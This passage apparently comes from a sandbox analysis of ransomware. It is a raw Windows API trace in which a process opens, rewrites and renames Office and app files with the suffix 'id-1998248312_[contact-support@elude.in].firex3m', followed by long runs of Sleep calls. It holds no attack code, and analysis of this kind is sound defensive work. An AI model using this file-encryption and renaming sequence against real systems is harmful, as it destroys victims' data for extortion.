[0266.274] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\HxRuntime.HxS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12910b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12910b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12b7378, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6ce8, dwReserved0=0x750073, dwReserved1=0x700070, cFileName="HxRuntime.HxS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HXRUNT~1.FIR")) returned 0x6d53c0 [0266.274] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0266.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\HxRuntime.HxS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\hxruntime.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0266.274] GetProcessHeap () returned 0x630000 [0266.274] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6d01) returned 0x7441010 [0266.275] GetProcessHeap () returned 0x630000 [0266.275] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6d01) returned 0x7453008 [0266.275] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.275] ReadFile (in: hFile=0x6a0, lpBuffer=0x7441010, nNumberOfBytesToRead=0x6ce0, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7441010*, lpNumberOfBytesRead=0x4d3ff0c*=0x6ce0, lpOverlapped=0x0) returned 1 [0270.486] GetProcessHeap () returned 0x630000 [0270.486] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0270.486] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.486] WriteFile (in: hFile=0x6a0, lpBuffer=0x7453008*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7453008*, lpNumberOfBytesWritten=0x4d3ff0c*=0x6ce0, lpOverlapped=0x0) returned 1 [0270.486] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.487] WriteFile (in: hFile=0x6a0, lpBuffer=0x7459ce7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7459ce7*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0270.487] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.487] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0270.487] CloseHandle (hObject=0x6a0) returned 1 [0270.487] GetProcessHeap () returned 0x630000 [0270.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7453008 | out: hHeap=0x630000) returned 1 [0270.487] GetProcessHeap () returned 0x630000 [0270.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7441010 | out: hHeap=0x630000) returned 1 [0270.487] GetProcessHeap () returned 0x630000 [0270.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0270.487] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0270.487] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\HxRuntime.HxS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12910b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12910b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x672c0fa4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6d0c, dwReserved0=0xbfc7496, dwReserved1=0x7441008, cFileName="HxRuntime.HxS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HXRUNT~1.FIR")) returned 0x6d5540 [0270.487] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0270.488] Sleep (dwMilliseconds=0x1) [0272.749] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-100_contrast-white.png", len=0x82 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-100_contrast-white.png") returned 1 [0272.749] GetProcessHeap () returned 0x630000 [0272.749] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e50) returned 0x6fe3bb0 [0272.749] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedmedtile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.753] Sleep (dwMilliseconds=0x1) [0272.763] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-100_contrast-black.png", len=0x82 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-100_contrast-black.png") returned 1 [0272.763] GetProcessHeap () returned 0x630000 [0272.763] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e4c) returned 0x6fe3bb0 [0272.763] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedmedtile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.765] Sleep (dwMilliseconds=0x1) [0272.778] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-100.png", len=0x73 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-100.png") returned 1 [0272.778] GetProcessHeap () returned 0x630000 [0272.778] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e48) returned 0x6fe3bb0 [0272.778] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedmedtile.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.780] Sleep (dwMilliseconds=0x1) [0272.794] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-100_contrast-white.png", len=0x84 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-100_contrast-white.png") returned 1 [0272.794] GetProcessHeap () returned 0x630000 [0272.794] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e44) returned 0x6fe3bb0 [0272.794] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedlargetile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.796] Sleep (dwMilliseconds=0x1) [0272.810] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-100_contrast-black.png", len=0x84 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-100_contrast-black.png") returned 1 [0272.810] GetProcessHeap () returned 0x630000 [0272.810] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e40) returned 0x6fe3bb0 [0272.810] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedlargetile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.812] Sleep (dwMilliseconds=0x1) [0272.834] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-100.png", len=0x75 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-100.png") returned 1 [0272.834] GetProcessHeap () returned 0x630000 [0272.834] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e3c) returned 0x6fe3bb0 [0272.834] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedlargetile.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.836] Sleep (dwMilliseconds=0x1) [0272.841] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_contrast-white.png", len=0x86 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_contrast-white.png") returned 1 [0272.841] GetProcessHeap () returned 0x630000 [0272.841] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e38) returned 0x6fe3bb0 [0272.841] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-96_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.843] Sleep (dwMilliseconds=0x1) [0272.859] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_contrast-black.png", len=0x86 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_contrast-black.png") returned 1 [0272.859] GetProcessHeap () returned 0x630000 [0272.859] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e34) returned 0x6fe3bb0 [0272.859] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-96_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.861] Sleep (dwMilliseconds=0x1) [0274.706] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageMedTile.scale-200_contrast-white.png", len=0x9e | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageMedTile.scale-200_contrast-white.png") returned 1 [0274.706] GetProcessHeap () returned 0x630000 [0274.706] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c2c) returned 0x6fe3bb0 [0274.706] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageMedTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackagemedtile.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.707] Sleep (dwMilliseconds=0x1) [0276.604] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PARCHM.TTF", len=0x43 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PARCHM.TTF") returned 1 [0276.605] GetProcessHeap () returned 0x630000 [0276.605] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ad4) returned 0x6fe3bb0 [0276.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PARCHM.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\parchm.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0276.612] CloseHandle (hObject=0x6cc) returned 1 [0276.612] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0276.612] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PARCHM.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\parchm.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PARCHM.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\parchm.ttf.id-1998248312_[contact-support@elude.in].firex3m")) Thread: id = 61 os_tid = 0x118c [0067.526] Sleep (dwMilliseconds=0x1) [0067.539] Sleep (dwMilliseconds=0x1) [0067.552] Sleep (dwMilliseconds=0x1) [0067.656] Sleep (dwMilliseconds=0x1) [0067.662] Sleep (dwMilliseconds=0x1) [0067.679] Sleep (dwMilliseconds=0x1) [0067.693] Sleep (dwMilliseconds=0x1) [0067.710] Sleep (dwMilliseconds=0x1) [0067.724] Sleep (dwMilliseconds=0x1) [0067.742] Sleep (dwMilliseconds=0x1) [0067.763] Sleep (dwMilliseconds=0x1) [0067.773] Sleep (dwMilliseconds=0x1) [0067.788] Sleep (dwMilliseconds=0x1) [0067.933] Sleep (dwMilliseconds=0x1) [0068.043] Sleep (dwMilliseconds=0x1) [0068.146] Sleep (dwMilliseconds=0x1) [0068.283] Sleep (dwMilliseconds=0x1) [0068.393] Sleep (dwMilliseconds=0x1) [0068.492] Sleep (dwMilliseconds=0x1) [0068.545] Sleep (dwMilliseconds=0x1) [0068.698] Sleep (dwMilliseconds=0x1) [0068.747] Sleep (dwMilliseconds=0x1) [0068.792] Sleep (dwMilliseconds=0x1) [0068.842] Sleep (dwMilliseconds=0x1) [0068.884] Sleep (dwMilliseconds=0x1) [0068.934] Sleep (dwMilliseconds=0x1) [0068.976] Sleep (dwMilliseconds=0x1) [0069.047] Sleep (dwMilliseconds=0x1) [0069.105] Sleep (dwMilliseconds=0x1) [0069.158] Sleep (dwMilliseconds=0x1) [0069.198] Sleep (dwMilliseconds=0x1) [0069.249] Sleep (dwMilliseconds=0x1) [0069.293] Sleep (dwMilliseconds=0x1) [0069.378] Sleep (dwMilliseconds=0x1) [0069.435] Sleep (dwMilliseconds=0x1) [0069.483] Sleep (dwMilliseconds=0x1) [0069.523] Sleep (dwMilliseconds=0x1) [0069.688] Sleep (dwMilliseconds=0x1) [0069.919] Sleep (dwMilliseconds=0x1) [0070.146] Sleep (dwMilliseconds=0x1) [0070.263] Sleep (dwMilliseconds=0x1) [0070.382] Sleep (dwMilliseconds=0x1) [0070.534] Sleep (dwMilliseconds=0x1) [0070.869] Sleep (dwMilliseconds=0x1) [0071.569] Sleep (dwMilliseconds=0x1) [0071.941] Sleep (dwMilliseconds=0x1) [0072.375] Sleep (dwMilliseconds=0x1) [0072.603] Sleep (dwMilliseconds=0x1) [0072.804] Sleep (dwMilliseconds=0x1) [0072.938] Sleep (dwMilliseconds=0x1) [0073.100] Sleep (dwMilliseconds=0x1) [0073.607] Sleep (dwMilliseconds=0x1) [0073.776] Sleep (dwMilliseconds=0x1) [0073.976] Sleep (dwMilliseconds=0x1) [0074.060] Sleep (dwMilliseconds=0x1) [0074.181] Sleep (dwMilliseconds=0x1) [0074.381] Sleep (dwMilliseconds=0x1) [0074.671] Sleep (dwMilliseconds=0x1) [0074.772] Sleep (dwMilliseconds=0x1) [0074.848] Sleep (dwMilliseconds=0x1) [0074.908] Sleep (dwMilliseconds=0x1) [0074.997] Sleep (dwMilliseconds=0x1) [0075.064] Sleep (dwMilliseconds=0x1) [0075.103] Sleep (dwMilliseconds=0x1) [0075.161] Sleep (dwMilliseconds=0x1) [0075.219] Sleep (dwMilliseconds=0x1) [0075.261] Sleep (dwMilliseconds=0x1) [0075.307] Sleep (dwMilliseconds=0x1) [0075.359] Sleep (dwMilliseconds=0x1) [0075.424] Sleep (dwMilliseconds=0x1) [0075.510] Sleep (dwMilliseconds=0x1) [0075.571] Sleep (dwMilliseconds=0x1) [0075.609] Sleep (dwMilliseconds=0x1) [0075.694] Sleep (dwMilliseconds=0x1) [0075.747] Sleep (dwMilliseconds=0x1) [0075.790] Sleep (dwMilliseconds=0x1) [0075.833] Sleep (dwMilliseconds=0x1) [0076.046] Sleep (dwMilliseconds=0x1) [0076.061] Sleep (dwMilliseconds=0x1) [0076.084] Sleep (dwMilliseconds=0x1) [0076.105] Sleep (dwMilliseconds=0x1) [0076.188] Sleep (dwMilliseconds=0x1) [0076.390] Sleep (dwMilliseconds=0x1) [0076.531] Sleep (dwMilliseconds=0x1) [0076.670] Sleep (dwMilliseconds=0x1) [0076.771] Sleep (dwMilliseconds=0x1) [0076.808] Sleep (dwMilliseconds=0x1) [0076.843] Sleep (dwMilliseconds=0x1) [0076.870] Sleep (dwMilliseconds=0x1) [0076.921] Sleep (dwMilliseconds=0x1) [0076.984] Sleep (dwMilliseconds=0x1) [0077.069] Sleep (dwMilliseconds=0x1) [0077.154] Sleep (dwMilliseconds=0x1) [0077.223] Sleep (dwMilliseconds=0x1) [0077.287] Sleep (dwMilliseconds=0x1) [0077.361] Sleep (dwMilliseconds=0x1) [0077.411] Sleep (dwMilliseconds=0x1) [0077.522] Sleep (dwMilliseconds=0x1) [0077.596] Sleep (dwMilliseconds=0x1) [0077.650] Sleep (dwMilliseconds=0x1) [0077.687] Sleep (dwMilliseconds=0x1) [0077.737] Sleep (dwMilliseconds=0x1) [0077.781] Sleep (dwMilliseconds=0x1) [0077.834] Sleep (dwMilliseconds=0x1) [0077.855] Sleep (dwMilliseconds=0x1) [0077.907] Sleep (dwMilliseconds=0x1) [0077.964] Sleep (dwMilliseconds=0x1) [0077.977] Sleep (dwMilliseconds=0x1) [0078.001] Sleep (dwMilliseconds=0x1) [0078.086] Sleep (dwMilliseconds=0x1) [0078.117] Sleep (dwMilliseconds=0x1) [0078.134] Sleep (dwMilliseconds=0x1) [0078.193] Sleep (dwMilliseconds=0x1) [0078.224] Sleep (dwMilliseconds=0x1) [0078.238] Sleep (dwMilliseconds=0x1) [0078.253] Sleep (dwMilliseconds=0x1) [0078.272] Sleep (dwMilliseconds=0x1) [0078.286] Sleep (dwMilliseconds=0x1) [0078.313] Sleep (dwMilliseconds=0x1) [0078.360] Sleep (dwMilliseconds=0x1) [0078.379] Sleep (dwMilliseconds=0x1) [0078.513] Sleep (dwMilliseconds=0x1) [0078.536] Sleep (dwMilliseconds=0x1) [0078.557] Sleep (dwMilliseconds=0x1) [0078.572] Sleep (dwMilliseconds=0x1) [0078.607] Sleep (dwMilliseconds=0x1) [0078.630] Sleep (dwMilliseconds=0x1) [0078.642] Sleep (dwMilliseconds=0x1) [0078.662] Sleep (dwMilliseconds=0x1) [0078.673] Sleep (dwMilliseconds=0x1) [0078.707] Sleep (dwMilliseconds=0x1) [0078.721] Sleep (dwMilliseconds=0x1) [0078.738] Sleep (dwMilliseconds=0x1) [0078.754] Sleep (dwMilliseconds=0x1) [0078.769] Sleep (dwMilliseconds=0x1) [0078.786] Sleep (dwMilliseconds=0x1) [0078.837] Sleep (dwMilliseconds=0x1) [0078.886] Sleep (dwMilliseconds=0x1) [0078.894] Sleep (dwMilliseconds=0x1) [0078.928] Sleep (dwMilliseconds=0x1) [0078.945] Sleep (dwMilliseconds=0x1) [0078.957] Sleep (dwMilliseconds=0x1) [0078.978] Sleep (dwMilliseconds=0x1) [0079.003] Sleep (dwMilliseconds=0x1) [0079.031] Sleep (dwMilliseconds=0x1) [0079.050] Sleep (dwMilliseconds=0x1) [0079.079] Sleep (dwMilliseconds=0x1) [0079.099] Sleep (dwMilliseconds=0x1) [0079.116] Sleep (dwMilliseconds=0x1) [0079.130] Sleep (dwMilliseconds=0x1) [0079.159] Sleep (dwMilliseconds=0x1) [0079.225] Sleep (dwMilliseconds=0x1) [0079.250] Sleep (dwMilliseconds=0x1) [0079.270] Sleep (dwMilliseconds=0x1) [0079.286] Sleep (dwMilliseconds=0x1) [0079.301] Sleep (dwMilliseconds=0x1) [0079.314] Sleep (dwMilliseconds=0x1) [0079.331] Sleep (dwMilliseconds=0x1) [0079.347] Sleep (dwMilliseconds=0x1) [0079.362] Sleep (dwMilliseconds=0x1) [0079.377] Sleep (dwMilliseconds=0x1) [0079.398] Sleep (dwMilliseconds=0x1) [0079.415] Sleep (dwMilliseconds=0x1) [0079.424] Sleep (dwMilliseconds=0x1) [0079.446] Sleep (dwMilliseconds=0x1) [0079.517] Sleep (dwMilliseconds=0x1) [0079.542] Sleep (dwMilliseconds=0x1) [0079.547] Sleep (dwMilliseconds=0x1) [0079.600] Sleep (dwMilliseconds=0x1) [0079.612] Sleep (dwMilliseconds=0x1) [0079.628] Sleep (dwMilliseconds=0x1) [0079.643] Sleep (dwMilliseconds=0x1) [0079.660] Sleep (dwMilliseconds=0x1) [0079.677] Sleep (dwMilliseconds=0x1) [0079.695] Sleep (dwMilliseconds=0x1) [0079.730] Sleep (dwMilliseconds=0x1) [0079.744] Sleep (dwMilliseconds=0x1) [0079.800] Sleep (dwMilliseconds=0x1) [0079.816] Sleep (dwMilliseconds=0x1) [0079.830] Sleep (dwMilliseconds=0x1) [0079.891] Sleep (dwMilliseconds=0x1) [0079.915] Sleep (dwMilliseconds=0x1) [0079.933] Sleep (dwMilliseconds=0x1) [0079.938] Sleep (dwMilliseconds=0x1) [0079.986] Sleep (dwMilliseconds=0x1) [0080.048] Sleep (dwMilliseconds=0x1) [0080.070] Sleep (dwMilliseconds=0x1) [0080.084] Sleep (dwMilliseconds=0x1) [0080.099] Sleep (dwMilliseconds=0x1) [0080.136] Sleep (dwMilliseconds=0x1) [0080.160] Sleep (dwMilliseconds=0x1) [0080.173] Sleep (dwMilliseconds=0x1) [0080.237] Sleep (dwMilliseconds=0x1) [0080.260] Sleep (dwMilliseconds=0x1) [0080.268] Sleep (dwMilliseconds=0x1) [0080.286] Sleep (dwMilliseconds=0x1) [0080.301] Sleep (dwMilliseconds=0x1) [0080.316] Sleep (dwMilliseconds=0x1) [0080.343] Sleep (dwMilliseconds=0x1) [0080.362] Sleep (dwMilliseconds=0x1) [0080.384] Sleep (dwMilliseconds=0x1) [0080.393] Sleep (dwMilliseconds=0x1) [0080.410] Sleep (dwMilliseconds=0x1) [0080.426] Sleep (dwMilliseconds=0x1) [0080.441] Sleep (dwMilliseconds=0x1) [0080.503] Sleep (dwMilliseconds=0x1) [0080.526] Sleep (dwMilliseconds=0x1) [0080.547] Sleep (dwMilliseconds=0x1) [0080.567] Sleep (dwMilliseconds=0x1) [0080.583] Sleep (dwMilliseconds=0x1) [0080.605] Sleep (dwMilliseconds=0x1) [0080.614] Sleep (dwMilliseconds=0x1) [0080.660] Sleep (dwMilliseconds=0x1) [0080.673] Sleep (dwMilliseconds=0x1) [0080.703] Sleep (dwMilliseconds=0x1) [0080.723] Sleep (dwMilliseconds=0x1) [0080.765] Sleep (dwMilliseconds=0x1) [0080.788] Sleep (dwMilliseconds=0x1) [0080.804] 